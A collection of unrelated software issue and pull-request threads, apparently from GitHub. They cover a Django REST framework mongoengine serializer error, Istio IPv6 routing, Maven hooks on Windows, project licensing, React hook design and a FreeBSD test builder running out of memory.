Serializer object has no attribute '_writable_fields'

I have started writing an app in django with mongodb (my first time). But I'm getting this error related to my DRF-mongoengine serializer. The error reads:
AttributeError: 'UserSerializer' object has no attribute '_writable_fields'
Full Traceback is as follows:
Traceback (most recent call last):
web_1  |   File "/usr/local/lib/python2.7/site-packages/django/core/handlers/base.py", line 132, in get_response
web_1  |     response = wrapped_callback(request, *callback_args, **callback_kwargs)
web_1  |   File "/usr/local/lib/python2.7/site-packages/django/views/decorators/csrf.py", line 58, in wrapped_view
web_1  |     return view_func(*args, **kwargs)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/viewsets.py", line 85, in view
web_1  |     return self.dispatch(request, *args, **kwargs)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/views.py", line 407, in dispatch
web_1  |     response = self.handle_exception(exc)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/views.py", line 404, in dispatch
web_1  |     response = handler(request, *args, **kwargs)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/mixins.py", line 20, in create
web_1  |     serializer.is_valid(raise_exception=True)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/serializers.py", line 186, in is_valid
web_1  |     self._validated_data = self.run_validation(self.initial_data)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework/serializers.py", line 364, in run_validation
web_1  |     value = self.to_internal_value(data)
web_1  |   File "/usr/local/lib/python2.7/site-packages/rest_framework_mongoengine/serializers.py", line 197, in to_internal_value
web_1  |     for field in self._writable_fields:
web_1  | AttributeError: 'UserSerializer' object has no attribute '_writable_fields'

This seems to be some problem with the DRF-mongoengine version because when I was using 3.3.0, I had an error about no no attribute named "get_field_names". To resolve that, I moved to 3.3.1 which is the lastest version and I started getting this one.
My serializers.py file is:
from mongoengine import *

class User(Document):
    name = StringField(max_length=50, required=True)
    email = EmailField(max_length=254, required=True)
    password = StringField(max_length=100, required=True)
    role = StringField(max_length=16, default='basic', required=True)

    def __unicode__(self):
        return self.name, self.email

what happens to be the problem?

Hi, @farhatnawaz!
You actually provided the document, but not serializer.
I have a feeling that this is related to the fact that in DRF3.3 fields argument for serializer became mandatory, so now your UserSerializer will look something like this:
class UserSerializer(DocumentSerializer):
    class Meta:
        model = User
        fields = ('__all__')

Hey, thanks for your reply. And sorry, I posted the code above from the models.py file instead. The serializer code is:
from rest_framework_mongoengine import serializers

from api.models import User

class UserSerializer(serializers.DocumentSerializer):
    class Meta:
        model = User
        fields = '__all__'

This is exactly what you're suggesting and the error still exists. But I have solved it now. It appears to be something with the version of DRF-mongoengine. I moved to 2.0.1 and everything works like a charm.
Although, I would be very interested in knowing the actual cause of that error. Thanks

@farhatnawaz
What if you try these versions of packages?
django==1.9
djangorestframework==3.3.3
mongoengine==0.9
pymongo==2.7
django-rest-framework-mongoengine==3.3.1

@BurkovBA I couldn't try your suggested versions. I had already fixed the issue with DRF-mongoengine 2.0.1 and couldn't find time to test out your versions since I was on a tight schedule.


Envoy expects IPv6 address within '[]' for domains under route_config #34533

Please provide a description of this PR:
Fix for https://github.com/istio/istio/issues/34533 . Brackets are added to ipv6 addresses while pushing envoy config.
To help us figure out who should review this PR, please put an X in all the areas that this PR affects.

[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[X] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

Please check any characteristics that apply to this pull request.

[X] Does not have any user-facing changes. This may include CLI changes, API changes, behavior changes, performance improvements, etc.

@sridharlreddy: PR needs rebase.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

Hi @sridharlreddy. Thanks for your PR.
I'm waiting for a istio member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work. Regular contributors should join the org to skip this step.
Once the patch is verified, the new status will be reflected by the ok-to-test label.
I understand the commands that are listed here.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

/ok-to-test


Fix #31 windows install-hooks error

On windows machine install-hooks fails with this error:
[ERROR] Failed to execute goal com.cosium.code:maven-git-code-format:1.38:install-hooks (install-formatter-hook) on project xyz: java.io.IOException: Cannot run program "C:...\maven\bin\mvn": CreateProcess error=193, %1 is not a valid Win32 application
This fixes the error by looking for mvn.cmd instead of mvn if OS is windows.

Thank you @mattruel !

No problem, thank you for the quick merge!  Some other ideas for improving this looking for existence of mvn.cmd, will see if it continues to give anyone trouble.


Bug 2099923: Merge SSH access and SSH command

📝 Description

Delete ssh command label
move command on ssh access
Rename 'port: ..' to 'Service port...'
label 'Edit' near 'SSH access'

To keep the 'Edit' pencil near the title for 'SSH access' and far away in the 'Labels' title, I've had to add a new prop to VirtualMachineDescriptionItem. What do you think guys?
🎥 Demo
Before

After

/lgtm


Suggestion: Delete document (and preview )

Context
I have incorrectly uploaded an image as a medicard document type.
I'd like to remove it (soft delete?).
Ideally I'd see a preview of the document (with the category) for confirmation, to reduce incorrect categorisation.

AND/OR change the category


added a new hexo theme: Frame.

Check List
Please read and check followings before submitting a PR.

[x] I want to publish my theme on Hexo official website.

[x] I have read the theme publishing doc.
[x] name is unique.
[x] link URL is correct.
[x] preview URL is correct.
[x] preview URL web site is rendered correctly.
[x] Add a screenshot to source/themes/screenshots.
[x] Screenshot filename is same as value of name.
[x] Screenshot size is 800 * 500.
[x] Screenshot file format is png.

[ ] I want to publish my plugin on Hexo official website.

[ ] I have read the plugin publishing doc.
[ ] name is unique.
[ ] link URL is correct.

[ ] Others (Update, fix, translation, etc...)

Languages:
[ ] en English
[ ] ko Korean
[ ] pt-br Brazilian Portuguese
[ ] ru Russian
[ ] th Thai
[ ] zh-cn simplified Chinese
[ ] zh-tw traditional Chinese

There is a bug in the github actions script, the Screenshot size is not 800 * 500

There is a bug in the github actions script, the Screenshot size is not 800 * 500

The Screenshot size is 1600*1000, I guess the ratio is still correct.


VS Code plugin shows errors for same service/endpoint names in different files

Steps to reproduce:

Add demo.bal to folder f1.
Add a new folder inside f1 like f1->f2.
Add a demo2.bal (same content as demo.bal with few changes) to folder f2.
VS Code editor shows errors for service/endpoint names as redeclared symbols.

These files can be executed without an error and the services are hosted successfully.
Affected Versions:
0.970.0
OS, DB, other environment details and versions:
Mac 10.13.2
Related Issues (optional):

Suggested Labels (optional):

Suggested Assignees (optional):

If all the files are in the same package isn't this the expected behavior? When I tried in two packages issue could not reproduce. Hence closing the issue and please reopen if the issue exist further


Project license missing

What's the license on this project?  Can you please include some license text in the source?

I'm seeing now that the license is referenced in cardswipe.jquery.json.  It would still be helpful to have it as a comment in the .js file or LICENSE.md.  Also, are you open to a more permissive license than GPLv2?

+1 Love your component but would you be able to release it under an Apache or MIT license to allow it to be used in other open-source projects with these more permissive licenses?

At the moment, I'm not inclined to change the license.  My intent is that this stay an independent jQuery plugin. Any other plugin could of course build on it.

I respect that, however please note that by many interpretations GPLv2 is a viral license in that a software application which merely uses your plugin (without modifying the source) would be required to provide the source to that entire application.  This is in contrast to the LGPL, which specifically makes concessions for usage of software as a "library" (while still requiring modifications to be open-sourced).
From your comment it sounds like this license would be more in-line with what you're trying to achieve, so I thought that I would throw it out there.

@CarlRaymond Thanks for the response. Just to clarify, we would want your component to remain independent. We would like to use it as a part of our open-source CMS system (www.rockrms.com). Since we release under an Apache license we could not include components licensed under GPL.
Just wanted to clarify our thoughts.


Renaming a token doesn't update aliases

Describe the bug
When renaming a token we previously had the ability to update all aliases, this functionality is no longer in the plugin it seems.
To Reproduce

Create any token
Create a token referencing that token
Rename the original token
This results in the alias breaking as it's no longer found.

Expected behavior
All aliases would be renamed to the new token name.

Resolved in #239


New resource SPFarm

Fixes #455
Also relates to #495 in that I think we can adapt the code there to use the same helper methods I've put in here (would be keen to hear what you think @luigilink - have a look at the SPFarm helper module).
The main difference to the approach though is that I'm creating a "stub" database to use as a lock to make sure multiple servers don't fight over who creates the farm. The stub DB gets ditched at the end of the process, so we aren't relying on creating different DBs at this point as it only exists for a few minutes. Keen to hear what you think @ykuijs

[X] Change details added to Unreleased section of changelog.md?
[X] Added/updated documentation and descriptions in .schema.mof files where appropriate?
[X] Examples updated for both the single server and small farm templates in the examples folder?
[X] New/changed code adheres to Style Guidelines?
[X] Unit and Integration tests created/updated where possible?

This change is

Codecov Report

Merging #521 into dev will decrease coverage by -1%.
The diff coverage is 85%.

@@         Coverage Diff          @@
##            dev   #521    +/-   ##
====================================
- Coverage    88%    88%    -1%
====================================
  Files        79     80     +1
  Lines      7396   7581   +185
  Branches      3      3
====================================
+ Hits       6530   6688   +158
- Misses      863    890    +27
  Partials      3      3

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9666873...6d3fb1a. Read the comment docs.

I need this to be in the 1.6 release, so approving as it's been here for a few days with no comment and we can capture any fixes ahead of a future release if needed.

Reviewed 13 of 15 files at r1, 2 of 2 files at r2.
Review status: all files reviewed at latest revision, all discussions resolved.

 No comments though, it looks great!


Jellium model generation

I asked @idk3 about generating Jellium models and he pointed me to the function dual_basis_jellium_hamiltonian in utils/_low_depth_trotter_error.py. Doesn't this belong in hamiltonians/_jellium.py?

Absolutely. I have no idea how that got there. It must have been moved by @jarrodmcc recent pull request. Jarrod was there some reason we should be aware of, or some reason we might want to not use that function or something to generate jellium models?

Actually, @idk3 told me he put it there. @idk3 would you mind moving it to the right place? I think it might need a new name and a better docstring too.

so I don't know what kind of tricks @idk3 is up to but I really don't think that should be there. @kevinsung there is also code in the right place, in hamiltonians/_jellium.py with the name dual_basis_jellium_model and that is almost certainly the function I would trust and recommend you to use.

Indeed - the first time I tried to add this, @babbush told me to "get rid of this function, it is redundant with the normal jellium_model code." The problem is that it's a 20-line function that you need every time you want the dual basis jellium Hamiltonian. IMO it reflects a more general restructuring that we might want to think about with jellium_model - the problem is the dependence of jellium_model on 1. Grid and 2. wigner_seitz_length_scale. The user has to work with all three to get the Hamiltonian (including figuring out where to import them from, every time) rather than just a single function.
dual_basis_jellium_hamiltonian was my way of sneaking this functionality in to save a lot of headaches in the Trotter error code - it allows the user to do a direct definition without having to compute the appropriate length scale and grid, number of particles, etc, etc. Were it not for Grid's use in Fourier transforming, my ideal would be to not expose users to it and have dual_basis_jellium_hamiltonian-style functions be the user-facing way to call these Hamiltonians.

@idk3 I disagree with the premise of this function, but whether it should exist is fair to debate. However, having this function hidden in your Trotter error code is unacceptable. You know it doesn't belong there! Please move it immediately.

As long as it stays in! ;) https://github.com/quantumlib/OpenFermion/pull/320 addresses this.


Frontend text EN instead of FR

Ubuntu 22.04
Firefox 123.0.1
Request headers do have Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3, but then the i18n lib says i18next: languageChanged fr-FR and the UI shows up in EN.

Ubuntu 22.04, Chromium 123.0.6312.86  -> no problem, text shows up in FR


how to run DeepSeek-VL2 with multiple cards

Hi @lmmlzn, please kindly refer to this thread: https://github.com/deepseek-ai/DeepSeek-VL2/issues/8#issuecomment-2558914207


SNOW-1571136 Add network tcp-check command

This PR introduces a new service network with new subcommand tcp-check to check TCP connectivity from sansshell target(s) to the given host and port
TODO:

[x] cover with unit and integration tests

Is it was tested
Yes, on local
$ sanssh --targets=localhost network tcp-check 500.500.500:8080
- From target localhost:50042 to 500.500.500:8080, status: Failed - Connection refused
Connectivity check completed.

$ sanssh --targets=localhost network tcp-check google.com:80 --timeout 5
- From target localhost:50042 to google.com:80, status: Succeed
Connectivity check completed.

$ sanssh --targets=localhost network tcp-check 500.500:1 --timeout 5
- From target localhost:50042 to 500.500:1, status: Failed - No such host
Connectivity check completed.

$ sanssh --targets=localhost network tcp-check <IP_ADDRESS>:1 --timeout 5
- From target localhost:50042 to <IP_ADDRESS>:1, status: Failed - Connection timed out
Connectivity check completed.

How its look like

@sfc-gh-srhodes feel free to resolve discussions where issue being solved

@sfc-gh-srhodes

Could you move the license check change to a different PR? It looks logically separate from the rest.

Done https://github.com/Snowflake-Labs/sansshell/pull/473


Create FerretVariable (FV) in CDAT

Reported by karl smith on 9 Mar 2011 20:14 UTC
Using a prototype provided by Charles D., create a FerretVariable in CDAT.  This should be a delayed evaluation variable; ie, not backed by a MaskedArray of data, but rather a string that can be evaluated by Ferret.  For this ticket, a FerretVariable should know how to perform operations (only) with other FerretVariables.
Migrated-From: http://dunkel.pmel.noaa.gov/trac/ferret/ticket/1809

Modified by karl.smith on 10 Mar 2011 00:23 UTC

Modified by karl.smith on 20 Apr 2011 22:58 UTC


RFC: experimental_use(customHook)

View formatted RFC

Shall we change the current naming conventions and consider removing the ‘use’ prefix?
‘experimental_use(useState(...)) -> experimental_use(state(...))’

As for naming convention, this would be possible.
const myState = () => useState();

  // inside component/hook
  experimental_use(myState);

But, I'm not sure if it's good. We need to consider about eslint rule too to detect bad practice.

experimental_use(useState(...))

Note that it's not possible like that. Needs a custom hook defined outside.

Oh, I see. Wrapping into a function outside of a component is essential for referential stability.

I think using the function reference for identification could be problematic:

I regularly see people create components during render and run into issues, I'd assume people would do the same thing with this and get confused why it doesn't work as they expect
React can't warn about this in runtime, coz the reference could just change due to conditionals, and not because it's a mistake - which makes it harder to catch errors. It can be linted against but unfortunately, many beginners don't use the lint rule so it'd be better to avoid relying on it for new features
This assumes custom hooks would need to be created for each usage, however since existing custom hooks would work with this as well, it's possible that in bigger components people may use the same hook multiple times causing unexpected results

I agree it's hard to do runtime checks.
What would happen if we do use(Promise.resolve(1)) ? Wouldn't it be the same problem?

people may use the same hook multiple times causing unexpected results

I'm not sure if I understand how using it multiple times causes unexpected results.

What would happen if we do use(Promise.resolve(1)) ? Wouldn't it be the same problem?

Yes, I don't necessarily like that either. But there can be the argument that a component suspending is very visible. However in this case it's just silent and needs more testing to find out that something is wrong.

I'm not sure if I understand how using it multiple times causes unexpected results.

If the hook is identified by reference, and someone uses the same hook multiple times (like they would use useState), then the naive expectation is to think they are all different, but they'd actually be the same one. It's a user mistake but an easy mistake to make with bigger components.

the naive expectation is to think they are all different, but they'd actually be the same one.

I see. It's the case if we use the same custom hook more than once at the same level. I'm not sure if the naive expectation is they are different (some may assume they are the same). But, I understand the pitfall. We could limit the usage just once at the same level, which can be detected at runtime.

React can't warn about this in runtime, coz the reference could just change due to conditionals

Hm, because render has to be idempotent, we can detect such a change with double render in StrictMode, I think.

I have some ideas for using this syntax in a similar way but there’s nothing new about the syntax here that unlocks any capabilities.
The reason context and promises can be read unconditionally is that they don’t represent state. Nothing has changed about the stateful part so there’s nothing new here.
There are other techniques we can do but it doesn’t have anything to do with this syntax and as far as I can tell there’s no new mechanism in this RFC that wasn’t already considered in the original Hooks RFC.

The reason context and promises can be read unconditionally is that they don’t represent state.

Implementation-wise, I think I understand that.
This RFC's proposal is to add such a capability (= reading state unconditionally), from the user perspective.

There are other techniques we can do but it doesn’t have anything to do with this syntax

I agree there could be some other syntax to allow reading state unconditionally.
The motivation behind this syntax is, it's somewhat close to the mental model of experimental_use(promise/context).

there’s no new mechanism in this RFC that wasn’t already considered in the original Hooks RFC.

Maybe so. But, there wasn't any discussion of the special syntax of experimental_use() that can be called unconditionally, no?
So, this RFC is born because experimental_use() is being added.
If it were useThenable() and useContext() that can be called unconditionally, this RFC wouldn't have been considered.

It might be worth waiting on a use() RFC to understand what it actually does first.
Technically useContext could already be called unconditionally and readContext is just the same thing without the lint warning. It's just that if you wrapped it in a custom Hook it didn't play nicely because other Hooks can't be called unconditionally so by convention it can't be called unconditionally to play nicely with the rest. The introduction of use() doesn't change this for the other Hooks nor custom Hooks.
We've shown in other experiments (since Prepack days) that we can support conditional Hooks and in keyed loops using a compiler.

Yeah, this RFC was too rush.
I didn't mean to base on use() implementation. So, this mixing two things is probably too confusing implementation-wise and mental-model-wise.
Basically, this is to revisit the "rejected" idea in the original Hooks RFC.
We can close this RFC if there are no further discussions.

We've shown in other experiments (since Prepack days) that we can support conditional Hooks and in keyed loops using a compiler.

The difference between that ☝ and this RFC would be a) using function reference as a key, and b) not a compiler but runtime. use() syntax isn't essential (although, it's a motivation behind this proposal.)

On the other hand, I'd still like to explore to open up some new possibilities with use(), like use(usable(() => use(context)...)), maybe after we have the use() RFC.

Yea using function identity or even location of the source call function was evaluated early on but that suffers from the issues pointed out above. It would share state with other usage of that same function.
It is possible if the thing created has identity before it’s passed to use:
const [store] = useState(createStore());
if (c)
  use(store);

I’ll close this for now.


Allow to override all the parser.. methods.

We are building a new RDBMS that still has only partial support for the full SQL dialect of Postgres.
This means that we need to parse the strings, and then rule out everything we still do not support. It will be easier and probably faster if we can do:
  // As is possible here
    pub fn parse_statement(&mut self) -> Result<Statement, ParserError> {
        let _guard = self.recursion_counter.try_decrease()?;

        // allow the dialect to override statement parsing
        if let Some(statement) = self.dialect.parse_statement(self) {
            return statement;
        }
   ....
   }

// Make at least the major components overridable:
    pub fn parse_table_and_joins(&mut self) -> Result<TableWithJoins, ParserError> {
        if let Some(result) = self.dialect.parse_table_and_joins(self) {
            return result;
        }
...
...

you could also potentially check the parse tree for structures you don't support and error if you find them (this is the approach we take in DataFusion and it works well) -- basically match on the structures you support and return a Not implemented error for anyting else


Make the file creator separate from the file browser

Now file creators only need a contents manager.

👍


zustand create and createContext deprecated.

I'm getting deprecation warnings when trying to test my tables:
console.warn
      [DEPRECATED] zustand/context will be removed in the future version. Please use `import { createStore, useStore } from "zustand"` for context usage. See: https://github.com/pmndrs/zustand/discussions/1180

      1 | import React from 'react'
    > 2 | import MaterialTable from '@material-table/core'
        | ^

      at createContext (node_modules/zustand/context.js:23:13)
      at Object.<anonymous> (node_modules/@material-table/core/dist/store/LocalizationStore.js:36:46)
      at Object.<anonymous> (node_modules/@material-table/core/dist/store/index.js:31:26)
      at Object.<anonymous> (node_modules/@material-table/core/dist/components/Overlay/OverlayError.js:18:14)
      at Object.<anonymous> (node_modules/@material-table/core/dist/components/index.js:137:44)
      at Object.<anonymous> (node_modules/@material-table/core/dist/defaults/props.components.js:12:19)
      at Object.<anonymous> (node_modules/@material-table/core/dist/defaults/index.js:10:37)
      at Object.<anonymous> (node_modules/@material-table/core/dist/index.js:110:17)

It appears material-table/core is using create and createContext in the Localization store. I'm assuming this needs to be updated with the later versions of zustand to match the given syntax in the warning? import { createStore, useStore } from "zustand".
https://github.com/material-table-core/core/blob/485c1e0a525ca54c62c9e3738f070aa7ffe8ed31/src/store/LocalizationStore.js#L1-L2

Yes I noticed this. I have it updated locally and will be done with the next release


Project Proposal

How would you describe your project?
[A tutoring platform that makes the lives of educators easier by handling scheduling and lesson planning and makes the lives of people easier by making it easy to find the specific help and education they need from experts.]
What problem does it solve?
[There are many platforms where you can find courses and maybe tutors, but there aren't many platforms where a person or organisation can hire tutoring services of a person for themselves or a certain number of people. The danger of watching tutorials is that people often get stuck in a false progression feedback loops where they feel as if with every tutorial they are getting better but in reality they are not, the solution to this would be doing your own projects but this can be quite difficult when one encounters a problem that they cannot solve especially when they cannot ask the question properly, our platform brings to gather the best teachers in specific areas of any field and allows you to hire out their time for teaching or help with anything you are struggling with. The common problem you hear amongst educators is earning potential and scalability. We give each educator the ability to set the number of students they want per class and different price tiers that vary for people who want a one on one. This makes their earning potential per hour much hire and their lessons more scalable.]
Who is the target market?
[People who need  tutoring, a person to person education environment  or a more personalised way of learning where they can ask question and have the teacher actively engage with them]
What do you think is the opportunity of this project?
[This project will integrate with other platforms, we are not replacing platforms like zoom or meet but rather we are working with them. By using bots and other tools we able to coordinate a schedule between different platforms for the educator to maximise their time and quality of education for example the app will have access to the calendar of all educators and they will specify periods they want to use for tutoring our app will then allow people to hire certain time slots and our app will update the calendar of the educator and notify them on their next tutoring session, we could build out a feature that is able to also schedule the environment for example create a zoom and send the login credentials to the person who bought the time slot.]
How does it integrate with thenewboston digital currency work?
[Educators Will charge fees according to the newboston currency given that the average hourly pay of tutors in dollar terms is well known the amount of coins a teacher wants per session will generally be converted by the buyer as the dollar value of average hourly tutor hence helping to assign the currency a value]
Are there any competitors?
[Yes, but there is no clearly dominant company in this space and the market is largely untapped but growing at fast rates due to Covid-19 lockdown measures. A notable competitor would be free-lancing websites but they are to broadly focused and lack the scheduling tools that this app will have that unlocks the full potential of all educators on the platform.]
Will you need specific information or advice?
[I am not as technical in programming, I only program really basic iOS Apps as I am still at the beginning of my programming career. I want to first try to build out an MVP on my own to test whether people would really want to use this. I will need advice on what programming stack I should use and what technical things i need to know going into the project for example how to build a bot and so forth. I am a decent programmer and I think I can pickup a new language quickly. When the MVP has been built and the idea validated. I will look for a more experienced programmer to improve my code and add more complex functionality. If i struggle to build the MVP I will use the advice and information you give me on how to build this to find a competent programmer who can build it properly]
What are your goals and objectives?
[I personally want to see this platform come into existence because its something I wish existed right now, I would love to offer my time for free to teach people something or hire someone that could teach me something new like a new language or hire a person to tutor students who are in need of the help. My broader vision is to create a platform globally accessible that allows anyone to get any help they need in various subjects and also unlock the power of actively learning through tutoring.]
How will you evaluate project success?
[The app has to be broken down into individual checking points. The first thing that we must be to built out is the ability to list a tutoring services as per individual, then the ability to rate the individual, followed by scheduling functionality. From a user stand point success will be evaluated by number of sessions on the platform as we continuously evaluate what the most common use cases for the platform are and any additional metadata. I am currently working on a product roadmap for each feature added and the design iterations that will occur. If you approve the project I will be more then happy to share the entire roadmap.]
What risks should you plan to manage?
[There is the risk of the platform not getting any users but I believe we can leverage the already existing community of teachers within the thenewboston to offer their services on the platform at their own price. To get initial users we can coordinate with organisations that provide education for free to children and we can help them during COVID-19 with its lockdowns, while we work on perfecting the platform for wider adoption. This app has a very Charitable focus but its not a charity app but rather a for profit one. I came across the idea for this app after hearing complaints from underprivileged children who did not have access to teachers during lockdown thus I thought it would be neat to include a charitable aspect to the app for social good.]
How many total coins are you requesting?
[200 000 up until MVP validation point, additional coins maybe needed to hire an experienced developer to make improvement to code and add more complex features]
Additional
[I came across an idea for an app that rewards people based on how answered a given question the best, I thought the idea was quite neat and I think it can integrate well into this app for people who do not necessarily need tutoring help but have a question that needs answering from an expert. The community has multiple people focused on education that will embrace this platform}
GitHub usernames and roles of all team members:

buckyroberts - Lead Developer
kristykjlee - Lead Design
etc...

Hey @ashieY
Please join thenewboston slack: https://thenewboston.slack.com
Developer channel: #developers
There you can find developers who may be willing to help you with your project. Meet them, discuss your project, and come up with your team. It's always good to have people on your team who are specialized in a particular domain ( like UI/UX design, Backend-developer, Front-end developer, etc. ). This increases the chance of success for a project.
And then update your project proposal with the GitHub username and role of the team members.


raise interrupted flag if InterruptedException caught in AgentRunner#close

By the way, is interrupt flag cleared here by purpose?

It has been dealt with so cleared. I don't have a strong feeling either way as the agent thread is typically not used again.

I suppose if something in the Agent.onClose() wants to check the flag then best leave it set.

Yes, for AgentRunner I agree that it is not that important. But it is for AgentInvoker, which does the same thing: line.


x/build: freebsd-amd64-race logs for x/tools marked as failing, but do not include error messages

(Note that the below regexp is not specific to freebsd or to x/tools. It is just looking for logs that contain only non-error lines.)
greplogs --dashboard -md -l -e '(?m)\A[^ ]+ at.*\n\n(?:(?:[:][:] Running .+\n\n)|(?:go: downloading [^ ]+ v[^ ]+\n)|(?:ok\s+[^ ]+\s+[^ ]+s\n)|(?:[?]\s+[^ ]+\s+\[no test files\]\n))+\z'
2021-11-04T07:05:31-84e69e7-2622235/freebsd-amd64-race
2021-11-03T23:49:25-84e69e7-fa19146/freebsd-amd64-race
2021-11-03T19:32:33-3b1a674-74f99d0/freebsd-amd64-race
2021-11-03T00:49:50-714668c-a4b2c57/freebsd-amd64-race
2021-11-02T23:44:58-714668c-a0f373c/freebsd-amd64-race
2021-11-02T16:40:04-058ed05-8c8baad/freebsd-amd64-race
2021-11-02T00:12:17-ee08195-81fea0b/freebsd-amd64-race
2021-10-28T16:54:58-c8ad2e1-6bd0e7f/freebsd-amd64-race
2021-10-26T01:18:46-f916b54-49fda9e/freebsd-amd64-race
2021-10-25T14:51:39-fc8b4ca-1ed060c/freebsd-amd64-race
2021-10-17T02:23:16-98f6e03-fa7d11a/freebsd-amd64-race
2021-10-16T16:27:40-98f6e03-640a49b/freebsd-amd64-race
2021-10-16T14:50:21-98f6e03-680caf1/freebsd-amd64-race
2021-10-15T20:34:15-98f6e03-1b072b3/freebsd-amd64-race
2021-10-15T14:09:01-98f6e03-1cbec68/freebsd-amd64-race
2021-10-15T02:45:22-288d0b3-2ac3bdf/freebsd-amd64-race
2021-10-15T02:02:50-ce04ca3-3da0ff8/freebsd-amd64-race
2021-10-15T01:35:56-ce04ca3-0c45ed0/freebsd-amd64-race
2021-10-14T23:32:09-3a269dc-9e8ed86/freebsd-amd64-race
2021-10-14T18:44:37-e69ba9d-a37bebc/freebsd-amd64-race
CC @golang/release

I think the process may be being killed due to memory exhaustion.
The freebsd-amd64-race builder appears to be running on an e2-highcpu-16 builder, while the normal linux-amd64-race builder is running on an e2-standard-4. (https://play.golang.org/p/5LXUgwHEZPn)
According to https://cloud.google.com/compute/vm-instance-pricing, e2-standard-4 has 4 CPUs and 16GB memory, while e2-highcpu-16 has 16 CPUs and 16GB.
Since the default GOMAXPROCS is based on the CPU count, and the default test parallelism is based on GOMAXPROCS, I suspect that the increased CPU-to-RAM ratio on the highcpu host is causing it to run too many gopls tests in parallel and run out of RAM.
@findleyr, @golang/release: should we address this by adjusting the host shape, or by adding some kind of additional limiting to the test, or explicitly setting GOMAXPROCS on this builder (which would possibly reduce its testing throughput), or something else entirely?

Comparing these two recent builds:
Fail: https://build.golang.org/log/4d807f4a6b0659eea741ece539bd6a39a4fc0c1a
Success: https://build.golang.org/log/2d9892c7aaf14942405fb6b82ae24234b1807bec
We can see that the failure is not finishing all x/tools tests --  the last test reported is go/loader.
The next test in the success is go/packages, so I suspect this is failing in go/packages (@bcmills is that a viable conclusion?)

If this is OOMing in go/packages (which we suspect may lead to this type of silent failure), then I can think of two possible sources:

Increase memory footprint or allocation rate in go/types.
Parallelization of those tests in https://golang.org/cl/332351

Looking specifically at some of the go/packages tests, I am also curious about why the tests are so slow and memory intensive, based on what they are doing. e.g. TestLoadDifferentPatterns takes 3s, but that seems extremely slow based on my understanding of our type-checking speed and the scope of that test.

The next test in the success is go/packages, so I suspect this is failing in go/packages (@bcmills is that a viable conclusion?)

I think so — well spotted!

I can think of two possible sources:

Increase memory footprint or allocation rate in go/types.
Parallelization of those tests in https://golang.org/cl/332351

That is an interesting theory! But that change was merged in July, and the first of these tests started in October.
My leading theory is still machine shape (this builder has a very high CPU-to-RAM ratio), but either or both of those could be aggravating factors as well.

This builder is still failing multiple times per day on x/tools in multiple different packages. We could theoretically fix the tests for each of those packages to scale by RAM, but at this point I'd really just rather make a pointwise change and be done with it.
@golang/release: could we try scaling this builder back to a more balanced configuration?
greplogs --dashboard -md -l -e \\Afreebsd-amd64-race -E . --since=2022-01-28
2022-01-31T20:30:41-492cf3a-41f485b/freebsd-amd64-race
2022-01-31T13:43:52-939c2c0-41f485b/freebsd-amd64-race
2022-01-29T19:58:17-939c2c0-1226547/freebsd-amd64-race
2022-01-29T03:53:30-939c2c0-5fd8c9b/freebsd-amd64-race
2022-01-28T22:17:23-939c2c0-654d5f4/freebsd-amd64-race
2022-01-28T20:07:54-939c2c0-8314544/freebsd-amd64-race

Lots of recent failures on this builder, but — crucially! — none missing error messages. I'm calling this fixed. (We can always reopen — or open a new issue — if that turns out to be wrong.)
greplogs -l -e \\Afreebsd-amd64-race -E . --since=2022-05-01
2022-05-05T18:49:32-983906f/freebsd-amd64-race
2022-05-05T18:49:25-a7ab208/freebsd-amd64-race
2022-05-05T18:49:17-5073c1c/freebsd-amd64-race
2022-05-04T21:35:22-a5481fb-aeb933d/freebsd-amd64-race
2022-05-04T21:03:31-a5481fb-2f23364/freebsd-amd64-race
2022-05-04T20:30:17-a5481fb-e1e056f/freebsd-amd64-race
2022-05-04T20:20:28-a5481fb-fbb47e8/freebsd-amd64-race
2022-05-04T20:06:32-a5481fb-fd6ef06/freebsd-amd64-race
2022-05-04T18:54:31-a5481fb-037b209/freebsd-amd64-race
2022-05-04T18:51:19-1b0f9fb/freebsd-amd64-race
2022-05-04T18:05:18-a5481fb-ffe48e0/freebsd-amd64-race
2022-05-04T18:05:18-78819d0-ffe48e0/freebsd-amd64-race
2022-05-04T16:13:20-f52b4ec/freebsd-amd64-race
2022-05-03T20:54:41-d24c65d/freebsd-amd64-race
2022-05-03T20:49:59-89c0dd8/freebsd-amd64-race
2022-05-03T20:49:46-2c0a988/freebsd-amd64-race
2022-05-03T15:14:09-f01c20b/freebsd-amd64-race
2022-05-03T15:13:53-91f8630/freebsd-amd64-race
2022-05-03T15:13:45-b4d8114/freebsd-amd64-race
2022-05-03T15:13:35-7e4bc74/freebsd-amd64-race
2022-05-03T15:13:21-973dcbb/freebsd-amd64-race
2022-05-03T15:12:52-129dcb7/freebsd-amd64-race
2022-05-03T15:12:45-473c996/freebsd-amd64-race
2022-05-03T15:12:38-375d696/freebsd-amd64-race
2022-05-03T15:12:31-d36d5bd/freebsd-amd64-race
2022-05-03T15:12:21-4649a43/freebsd-amd64-race
2022-05-03T15:12:12-85d4664/freebsd-amd64-race
2022-05-03T15:12:04-986a310/freebsd-amd64-race
2022-05-03T15:11:55-0feebe6/freebsd-amd64-race
2022-05-03T15:11:42-01359b4/freebsd-amd64-race
2022-05-02T21:05:53-04fc2ba-a887579/freebsd-amd64-race


Update for new versions of Jekyll

Any plans to update for new versions of Jekyll?

It works on Jekyll 3.0.1

I've released version 1.0.2 with a vastly updated Autoprefixer and version 2.0.0 with exclusive support for Jekyll 3 and removed dependencies which supported Jekyll 2.


Initial NAMD Integration

